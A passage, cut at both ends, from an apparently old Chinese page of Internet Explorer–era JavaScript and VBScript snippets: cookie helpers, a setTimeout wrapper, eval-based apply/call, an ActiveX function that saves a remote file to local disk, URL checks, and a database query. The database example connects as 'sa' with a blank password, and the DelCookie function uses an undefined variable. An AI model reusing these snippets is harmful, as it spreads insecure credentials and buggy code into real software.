<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">(1)拖拽访问 <BR>event.dataTransfer.setData(<SPAN style="COLOR: #ff00ff">"URL"</SPAN>,&nbsp;oImage.src); <BR>sImageURL&nbsp;=&nbsp;event.dataTransfer.getData(<SPAN style="COLOR: #ff00ff">"URL"</SPAN>) <BR>(2)普通访问 <BR>window.clipboardData.setData(<SPAN style="COLOR: #ff00ff">"Text"</SPAN>,oSource.innerText); <BR>window.clipboardData.getData(<SPAN style="COLOR: #ff00ff">"Text"</SPAN>); </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//操作COOKIE</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;SetCookie(sName,&nbsp;sValue) <BR>{ <BR>&nbsp;document.cookie&nbsp;=&nbsp;sName&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"="</SPAN>&nbsp;+&nbsp;escape(sValue)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">";&nbsp;"</SPAN>; <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;GetCookie(sName) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;aCookie&nbsp;=&nbsp;document.cookie.split(<SPAN style="COLOR: #ff00ff">";&nbsp;"</SPAN>); <BR>&nbsp;for&nbsp;(<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=0;&nbsp;i&nbsp;&lt;&nbsp;aCookie.length;&nbsp;i++) <BR>&nbsp;{ <BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;aCrumb&nbsp;=&nbsp;aCookie[i].split(<SPAN style="COLOR: #ff00ff">"="</SPAN>); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(sName&nbsp;==&nbsp;aCrumb[0])&nbsp; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;unescape(aCrumb[1]); <BR>&nbsp;} <BR>&nbsp; <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;DelCookie(sName) <BR>{ <BR>document.cookie&nbsp;=&nbsp;sName&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"="</SPAN>&nbsp;+&nbsp;escape(sValue)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">";&nbsp;expires=Fri,&nbsp;31&nbsp;Dec&nbsp;1999&nbsp;23:59:59&nbsp;GMT;"</SPAN>; <BR>} </DIV>
<P><STRONG>//setTimeout增加参数</STRONG> </P></FONT>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;_st&nbsp;=&nbsp;window.setTimeout; <BR>window.setTimeout&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">function</SPAN>(fRef,&nbsp;mDelay)&nbsp;{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(typeof&nbsp;fRef&nbsp;==&nbsp;'<SPAN style="COLOR: #0000ff">function</SPAN>'){ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;argu&nbsp;=&nbsp;<SPAN style="COLOR: #ff0000">Array</SPAN>.prototype.slice.call(arguments,2); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;f&nbsp;=&nbsp;(<SPAN style="COLOR: #0000ff">function</SPAN>(){&nbsp;fRef.apply(<SPAN style="COLOR: #0000ff">null</SPAN>,&nbsp;argu);&nbsp;}); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;_st(f,&nbsp;mDelay); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;_st(fRef,mDelay); <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;test(x){ <BR>&nbsp;alert(x); <BR>} <BR>window.setTimeout(test,1000,'fason'); <BR>&lt;/script&gt; </DIV>
<P><BR><FONT size=2><STRONG>//自定义的apply,call</STRONG></FONT> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">Function.prototype.apply&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;(obj,&nbsp;argu)&nbsp;{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(obj)&nbsp;obj.constructor.prototype._caller&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>;&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;argus&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">Array</SPAN>(); <BR>&nbsp;for&nbsp;(<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=0;i&lt;argu.length;i++) <BR>&nbsp;&nbsp;argus[i]&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"argu["</SPAN>&nbsp;+&nbsp;i&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"]"</SPAN>; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r; <BR>&nbsp;eval(<SPAN style="COLOR: #ff00ff">"r&nbsp;=&nbsp;"</SPAN>&nbsp;+&nbsp;(obj&nbsp;?&nbsp;(<SPAN style="COLOR: #ff00ff">"obj._caller("</SPAN>&nbsp;+&nbsp;argus.jo&#105;n(<SPAN style="COLOR: #ff00ff">","</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">");"</SPAN>)&nbsp;:&nbsp;(<SPAN style="COLOR: #ff00ff">"this("</SPAN>&nbsp;+&nbsp;argus.jo&#105;n(<SPAN style="COLOR: #ff00ff">","</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">");"</SPAN>))); <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;r; <BR>}; <BR>Function.prototype.call&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;(obj)&nbsp;{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;argu&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">Array</SPAN>(); <BR>&nbsp;for&nbsp;(<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=1;i&lt;arguments.length;i++) <BR>&nbsp;&nbsp;argu[i-1]&nbsp;=&nbsp;arguments[i]; <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.apply(obj,&nbsp;argu); <BR>};&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<P><BR><FONT size=2><STRONG>//下载文件</STRONG></FONT> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;DownURL(strRemoteURL,strLocalURL) <BR>{ <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xmlHTTP=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Microsoft.XMLHTTP"</SPAN>); <BR>&nbsp;&nbsp;xmlHTTP.open(<SPAN style="COLOR: #ff00ff">"Get"</SPAN>,strRemoteURL,<SPAN style="COLOR: #0000ff">false</SPAN>); <BR>&nbsp;&nbsp;xmlHTTP.send(); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;adodbStream=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"ADODB.Stream"</SPAN>); <BR>&nbsp;&nbsp;adodbStream.Type=1;<SPAN style="COLOR: #008000">//1=adTypeBinary </SPAN><BR>&nbsp;&nbsp;adodbStream.Open(); <BR>&nbsp;&nbsp;adodbStream.write(xmlHTTP.responseBody); <BR>&nbsp;&nbsp;adodbStream.SaveToFile(strLocalURL,2); <BR>&nbsp;&nbsp;adodbStream.Close(); <BR>&nbsp;&nbsp;adodbStream=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp;xmlHTTP=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp; <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e) <BR>&nbsp;{ <BR>&nbsp;&nbsp;window.confirm(<SPAN style="COLOR: #ff00ff">"下载URL出错!"</SPAN>); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #008000">//window.confirm(<SPAN style="COLOR: #ff00ff">"下载完成."</SPAN>); </SPAN><BR>} </DIV>
<P><BR><FONT size=2><STRONG>//检验连接是否有效</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;getXML(URL)&nbsp; <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xmlhttp&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"microsoft.xmlhttp"</SPAN>); <BR>&nbsp;xmlhttp.Open(<SPAN style="COLOR: #ff00ff">"GET"</SPAN>,URL,&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>);&nbsp; <BR>&nbsp;try <BR>&nbsp;{&nbsp; <BR>&nbsp;&nbsp;xmlhttp.Send(); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e){} <BR>&nbsp;<SPAN style="COLOR: #0000ff">finally</SPAN>&nbsp; <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;result&nbsp;=&nbsp;xmlhttp.responseText; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(result)&nbsp; <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(xmlhttp.Status==200) <BR>&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>(<SPAN style="COLOR: #0000ff">true</SPAN>); <BR>&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">else</SPAN>&nbsp; <BR>&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>(<SPAN style="COLOR: #0000ff">false</SPAN>); <BR>&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">else</SPAN>&nbsp; <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>(<SPAN style="COLOR: #0000ff">false</SPAN>); <BR>&nbsp;&nbsp;} <BR>&nbsp;} <BR>} </DIV>
<P><FONT size=2><STRONG>//POST代替FORM</STRONG></FONT><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;SCRIPT&nbsp;language=<SPAN style="COLOR: #ff00ff">"VBScript"</SPAN>&gt; <BR>Function&nbsp;URLEncoding(vstrIn) <BR>&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN> <BR>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;Len(vstrIn) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThisChr&nbsp;=&nbsp;Mid(vStrIn,i,1) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Abs(Asc(ThisChr))&nbsp;&lt;&nbsp;&HFF&nbsp;Then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&&nbsp;ThisChr <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerCode&nbsp;=&nbsp;Asc(ThisChr) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;innerCode&nbsp;&lt;&nbsp;0&nbsp;Then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerCode&nbsp;=&nbsp;innerCode&nbsp;+&nbsp;&H10000 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hight8&nbsp;=&nbsp;(innerCode&nbsp;&nbsp;And&nbsp;&HFF00)\&nbsp;&HFF <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Low8&nbsp;=&nbsp;innerCode&nbsp;And&nbsp;&HFF <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&&nbsp;<SPAN style="COLOR: #ff00ff">"%"</SPAN>&nbsp;&&nbsp;Hex(Hight8)&nbsp;&&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"%"</SPAN>&nbsp;&&nbsp;Hex(Low8) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If <BR>&nbsp;&nbsp;&nbsp;&nbsp;Next <BR>&nbsp;&nbsp;&nbsp;&nbsp;URLEncoding&nbsp;=&nbsp;strReturn <BR>End&nbsp;Function <BR>Function&nbsp;bytes2BSTR(vIn) <BR>&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN> <BR>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;LenB(vIn) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThisCharCode&nbsp;=&nbsp;AscB(MidB(vIn,i,1)) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;ThisCharCode&nbsp;&lt;&nbsp;&H80&nbsp;Then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&&nbsp;Chr(ThisCharCode) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NextCharCode&nbsp;=&nbsp;AscB(MidB(vIn,i+1,1)) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&&nbsp;Chr(CLng(ThisCharCode)&nbsp;*&nbsp;&H100&nbsp;+&nbsp;CInt(NextCharCode)) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;i&nbsp;+&nbsp;1 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If <BR>&nbsp;&nbsp;&nbsp;&nbsp;Next <BR>&nbsp;&nbsp;&nbsp;&nbsp;bytes2BSTR&nbsp;=&nbsp;strReturn <BR>End&nbsp;Function <BR>dim&nbsp;strA,oReq <BR>strA&nbsp;=&nbsp;URLEncoding(<SPAN style="COLOR: #ff00ff">"submit1=Submit&text1=中文"</SPAN>) <BR>set&nbsp;oReq&nbsp;=&nbsp;CreateObject(<SPAN style="COLOR: #ff00ff">"MSXML2.XMLHTTP"</SPAN>) <BR>oReq.open&nbsp;<SPAN style="COLOR: #ff00ff">"POST"</SPAN>,<SPAN style="COLOR: #ff00ff">"http:<SPAN style="COLOR: #008000">//ServerName/VDir/TstResult.asp"</SPAN>,false </SPAN><BR>oReq.setRequestHeader&nbsp;<SPAN style="COLOR: #ff00ff">"Content-Length"</SPAN>,Len(strA) <BR>oReq.setRequestHeader&nbsp;<SPAN style="COLOR: #ff00ff">"CONTENT-TYPE"</SPAN>,<SPAN style="COLOR: #ff00ff">"application/x-www-form-urlencoded"</SPAN> <BR>oReq.send&nbsp;strA <BR>msgbox&nbsp;bytes2BSTR(oReq.responseBody) <BR>&lt;/SCRIPT&gt; </DIV>
<P>//readyState是xmlhttp返回数据的进度，0=载入中,1=未初始化,2=已载入,3=运行中,4=完成</P></FONT>
<P></P></FONT>
<P></P>
<P><FONT size=2><STRONG>//组件是否安装</STRONG> <BR>isComponentInstalled("{6B053A4B-A7EC-4D3D-4567-B8FF8A1A5739}", "componentID")) </FONT></P>
<P><FONT size=2><STRONG>//检查网页是否存在</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;CheckURL(URL) <BR>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xmlhttp&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Microsoft.XMLHTTP"</SPAN>); <BR>&nbsp;&nbsp;xmlhttp.Open(<SPAN style="COLOR: #ff00ff">"GET"</SPAN>,URL,&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>); <BR>&nbsp;&nbsp;try <BR>&nbsp;&nbsp;{&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;xmlhttp.Send();&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;result&nbsp;=&nbsp;xmlhttp.status; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e)&nbsp;{<SPAN style="COLOR: #0000ff">return</SPAN>(<SPAN style="COLOR: #0000ff">false</SPAN>);&nbsp;} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(result==200) <BR>&nbsp;&nbsp;{&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;xmlhttp&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>} </DIV></FONT>
<P><FONT size=2><STRONG>//连接数据库</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #008000">//用&nbsp;JavaScript&nbsp;写服务器端连接数据库的代码示例 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;conn&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"ADODB.Connection"</SPAN>); <BR>&nbsp;&nbsp;conn.Open(<SPAN style="COLOR: #ff00ff">"Provider=SQLOLEDB.1;&nbsp;Data&nbsp;Source=localhost;&nbsp;User&nbsp;ID=sa;&nbsp;"</SPAN> <BR>&nbsp;&nbsp;&nbsp;&nbsp;+<SPAN style="COLOR: #ff00ff">"Password=;&nbsp;Initial&nbsp;Catalog=pubs"</SPAN>); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;rs&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"ADODB.Recordset"</SPAN>); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;sql=<SPAN style="COLOR: #ff00ff">"select&nbsp;*&nbsp;from&nbsp;authors"</SPAN>; <BR>&nbsp;&nbsp;rs.open(sql,&nbsp;conn); <BR>&nbsp;shtml&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;table&nbsp;width='100%'&nbsp;border=1&gt;"</SPAN>; <BR>&nbsp;shtml&nbsp;+=<SPAN style="COLOR: #ff00ff">"&lt;tr&nbsp;bgcolor='#f4f4f4'&gt;&lt;td&gt;au_id&lt;/td&gt;&lt;td&gt;au_lname&lt;/td&gt;&lt;td&gt;au_fname&lt;/td&gt;&lt;td&gt;phone&lt;/td&gt;&lt;td&gt;address&lt;/td&gt;&lt;td&gt;&nbsp;city&lt;/td&gt;&lt;td&gt;state&lt;/td&gt;&lt;td&gt;zip&lt;/td&gt;&lt;/tr&gt;"</SPAN>; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">while</SPAN>(!rs.EOF) <BR>&nbsp;&nbsp;{ <BR>&nbsp;shtml&nbsp;+=&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;tr&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"au_id"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"au_lname"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"au_fname"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"phone"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"address"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"city"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"state"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"zip"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;/tr&gt;"</SPAN>; <BR>&nbsp;rs.moveNext; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;shtml&nbsp;+=&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/table&gt;"</SPAN>; <BR>&nbsp;&nbsp;document.write(shtml); <BR>&nbsp;&nbsp;rs.close();&nbsp; <BR>&nbsp;&nbsp;rs&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">null</SPAN>;&nbsp; <BR>&nbsp;&nbsp;conn.close();&nbsp; <BR>&nbsp;&nbsp;conn&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&lt;/script&gt; </DIV>
<P><STRONG>//使用数据岛</STRONG> <BR><FONT size=2>
